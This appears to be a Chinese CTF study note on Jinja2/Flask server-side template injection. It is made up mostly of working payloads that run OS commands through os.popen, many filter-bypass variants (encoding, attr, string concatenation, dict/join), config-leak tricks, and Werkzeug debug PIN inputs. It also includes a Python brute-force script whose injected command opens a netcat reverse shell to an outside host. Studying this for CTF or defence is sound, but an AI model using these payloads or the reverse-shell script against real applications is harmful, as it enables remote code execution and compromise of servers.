学习视频

判断模板类型

php常见模板:twig,smarty,blade
python常见的模板:Jinja2,tornado,Django
java常见的模板:FreeMarker,velocity

ssti漏洞成因

参考

SSTI(Server-Side Template Injection)从名字可以看出即是服务器端模板注入。比如python中的flask、php的thinkphp、java的spring等框架一般都采用MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

模板可以被认为是一段固定好格式,等着开发人员或者用户来填充信息的文件。通过这种方法,可以做到逻辑与视图分离,更容易、清楚且相对安全地编写前后端不同的逻辑。


from flask import *
from jinja2 import *
 
app = Flask(__name__)
 
@app.route("/myan")
 
def index():
    name = request.args.get('name','guest')
    html = '''<h3> Hello %s'''%name
    return render_template_string(html)
 
if __name__ == "__main__":
        app.run(debug=True)

魔术方法

魔术方法 作用
__class__ 查找当前类型的所属对象
__base__ 沿着父子类的关系往上走一个
__mro__ 查找当前类对象的所有继承类
__subclasses__() 查找父类下的所有子类
__init__ 查看类是否重载,重载是指程序在运行时就已经加载好了这个模块到内存中,如果出现wrapper字眼,说明没有重载
__globals__ 函数会以字典的形式返回当前对象的全部全局变量
__getitem__() 对字典使用时,传入字符串,返回字典相应键所对应的值;当对列表使用时,传入整数返回列表对应索引的值。(代替中括号)

一个pyload例子:

{{().__class__.__base__.__subclasses__()[484].__init__.__globals__.os.popen('cat /flag').read()}}
{{().__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("cat /flag").read()}}

绕过

过滤双大括号

视频

{% %}使用介绍:

{%%}是属于flask的控制语句,且以{%end..%}结尾,可以通过在控制语句定义变量或者写循环,判断。

判断{{}}被过滤

尝试{% %}

判断语句能否正常执行

1 {% if 2>1 %}qwq{%endif%}
2 {% if "".__class__ %}qwq{%endif%}

3 "{% if ().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['popen']('cat /flag').read() %}qwq{%endif%}"

无回显ssti

反弹shell


import requests

url = 'http://192.168.86.133:780/flasklab/level/3' #input("url:")
for i in range(500):
    #data={"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"}
    data={"code":"{% if ().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['popen']('netcat 192.168.86.130 7777 -e /bin/bash').read() %}qwq{%endif%}"}
    try:
        response=requests.post(url,data=data)
        #print(response.text)
        if response.status_code == 200:
            #os.py
            if 'qwq' in response.text:
                print(i,"-->",data)
    except:
        pass

反弹:

nc -lvp 7777

引号过滤

使用request模块进行绕过,request模块在os._wrap_close中,可使用脚本查询

pyload:

http://192.168.86.133:780/flasklab/level/5?qwq=popen&cmd=cat /flag

code={{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.args.qwq](request.args.cmd).read()}}

下划线过滤

过滤器绕过

过滤器

attr()绕过

attr主要用来防止 .过滤而不能获取对象属性


{{()|attr(request.args.qwq)}}



http://192.168.86.133:780/flasklab/level/6?class=__class__&base=__base__&subcl=__subclasses__&number=__getitem__&a=__init__&b=__globals__&c=__getitem__



code={{()|attr(request.args.class)|attr(request.args.base)|attr(request.args.subcl)()|attr(request.args.number)(117)|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)('popen')('cat /flag')|attr('read')()}}

编码绕过

形式和上面一样,只是经过了编码

unicode编码:

code={{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(117)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")('popen')('cat /flag')|attr('read')()}}


16位编码:

code={{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[117]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]['popen']('cat /flag').read()}}

base64编码和格式化字符串 绕过就不手打了,一定不是我懒(逃

点过滤

attr过滤

attr没有使用点和中括号

用中括号代替点

payload:


code={{()['__class__']['__base__']['__subclasses__']()[117]['__init__']['__globals__']['popen']('cat /flag')['read']()}}

关键字过滤

“+”拼接

使用+号拼接字符串

pyload:


{{()['__class__']}}---->{{()['__cla'+'ss__']}}

code={{()['__cla'+'ss__']['__ba'+'se__']['__subcl'+'asses__']()[117]['__in'+'it__']['__glo'+'bals__']['po'+'pen']('cat /flag')['re'+'ad']()}}

jinjia2中的”~”拼接

在jinjia2中~可以拼接字符

payload:


{%set a='__cla'%}{%set b='ss__'%}{%set c='__in'%}{%set d='it__'%}{{()[a~b][c~d]}}

{%set a='__cla'%}{%set b='ss__'%}{%set c='__ba'%}{%set d='se__'%}{%set e='__subcla'%}{%set f='sses__'%}{%set g='__in'%}{%set h='it__'%}{%set i='__glo'%}{%set j='bals__'%}{%set k='po'%}{%set l='pen'%}{{()[a~b][c~d][e~f]()[199][g~h][i~j]['os'][k~l]('cat /flag')['read']()}}

# 逆天payload

reverse逆转

payload:

{%set a="__ssalc__"|reverse%}{{()[a]}}

数字过滤

过滤器length

length过滤器用于返回字符串长度

{% set a='aaaaa'|length %}{{a}}        #10

{% set a='aaaaa'|length*'a'|length %}{{a}}          #30

混合过滤

过滤器dict()和join

join可以直接拼接键名


 {%set a=dict(__cla=a,ss__=a)|join%}{a} 

获取符号

{%set ben =({}|select()|string()|list)%}{{ben}}

当加上list就会变成列表就可以[8]等方式获得数据

过滤 ‘ “ + request . [ ]

code={% set getitem = dict(__getitem__=1)|join%}{%set kg = ({}|select()|string()|attr(getitem)(10))%}{% set globals=dict(__globals__=a)|join%}{% set os=dict(os=a)|join%}{% set payload=(dict(ls=a)|join)|join%}{% set popen=dict(popen=a)|join%}{% set read=dict(read=a)|join%}{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(payload)|attr(read)()}}

主要是利用join拼接+addr绕过点,最后执行命令那要绕过单引号,就利用了上面获取符号例子里获取空格

过滤 ‘ “ _ 0-9 . [ ] \ 空格

{{lipsum|string|list}}

获取过滤的符号
再构造payload

{% set nine = dict(aaaaaaaaa=a)|join|count%}{%set pop=dict(pop=a)|join%}{%set kg=(lipsum|string|list)|attr(pop)(nine)%}{%set eighteen=nine+nine%}{%set xhx=(lipsum|string|list)|attr(pop)(eighteen)%}{%set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join%}{%set getitem=(xhx,xhx,dict(getitem=a)|join,xhx,xhx)|join%}{% set os=dict(os=a)|join%}{% set popen=dict(popen=a)|join%}{% set payload=(dict(cat=cat)|join,kg,dict(flag=flag)|join)|join %}{% set read=dict(read=a)|join%}{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(payload)|attr(read)()}}

获取config

无过滤直接{{config}}就可以获取

当被过滤时,可利用已加载内置函数或对象寻找被过滤字符串

flask内置函数

函数 作用
lipsum 可加载第三方库
url_for 可返回url路径
get_flashed_message 可获取消息

使用内置函数调用current_app模块进而查看配置文件
current_app可输出当前app(即flask)

payload:


{{url_for.__globals__['current_app'].config}}

{{get_flashed_messages.__globals__['current_app'].config}}

tornado模板中获取

在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了

{{handler.settings}}

pin码计算

生成原理

  1. 获取用户名username
import getpass

username=getpass.getuser()
  1. 获取app对象name属性

默认为Flask

3.获取app对象module属性

默认为flask.app

4.获取app.py文件所在路径

  1. uuid

6.get_machine_id获取


linux:cat /etc/machine-id

docker中还得cat /proc/self/cgroup把第一行的拼接上去

macOS: ioeg -c IOPlatformExpertDevice -d 2


windows:HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Cryptography/MachineGuid

练习

[安洵杯 2020]Normal SSTI

url_black_list = ['%1c', '%1d', '%1f', '%1e', '%20', '%2b', '%2c', '%3c', '%3e']
black_list = ['.', '[', ']', '{{', '=', '_', '\'', '""', '\\x', 'request', 'config', 'session', 'url_for', 'g',
              'get_flashed_messages', '*', 'for', 'if', 'format', 'list', 'lower', 'slice', 'striptags', 'trim',
              'xmlattr', 'tojson', 'set', '=', 'chr']

payload

http://node4.anna.nssctf.cn:28698/test
?url={%print(()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(137)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("popen")("\u0063\u0061\u0074\u0020\u002F\u0066\u006C\u0061\u0067")|attr("read")())%}

```
或者
`fenjing`一把梭

[[HNCTF 2022 WEEK3]ssssti](https://www.nssctf.cn/problem/3022)

过滤:_ ' " os 

```
1.
{% set xhx=((lipsum|string)[18])%}{% set kg=((lipsum|string)[9])%}{% set s=((lipsum|string)[27])%}{% set o=((lipsum|string)[7])%}{% set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join %}{% set getitem=(xhx,xhx,dict(getitem=a)|join,xhx,xhx)|join %}{% set a=(o,s)|join%}{% set popen=dict(popen=a)|join %}{% set playload = (dict(cat=a)|join,kg,dict(flag=a)|join)|join %}{% set read=dict(read=a)|join %}{{lipsum|attr(globals)|attr(getitem)(a)|attr(popen)(playload)|attr(read)()}}

或者

{{(lipsum | attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=globals&b=os&c=tac f*

一个好奇的人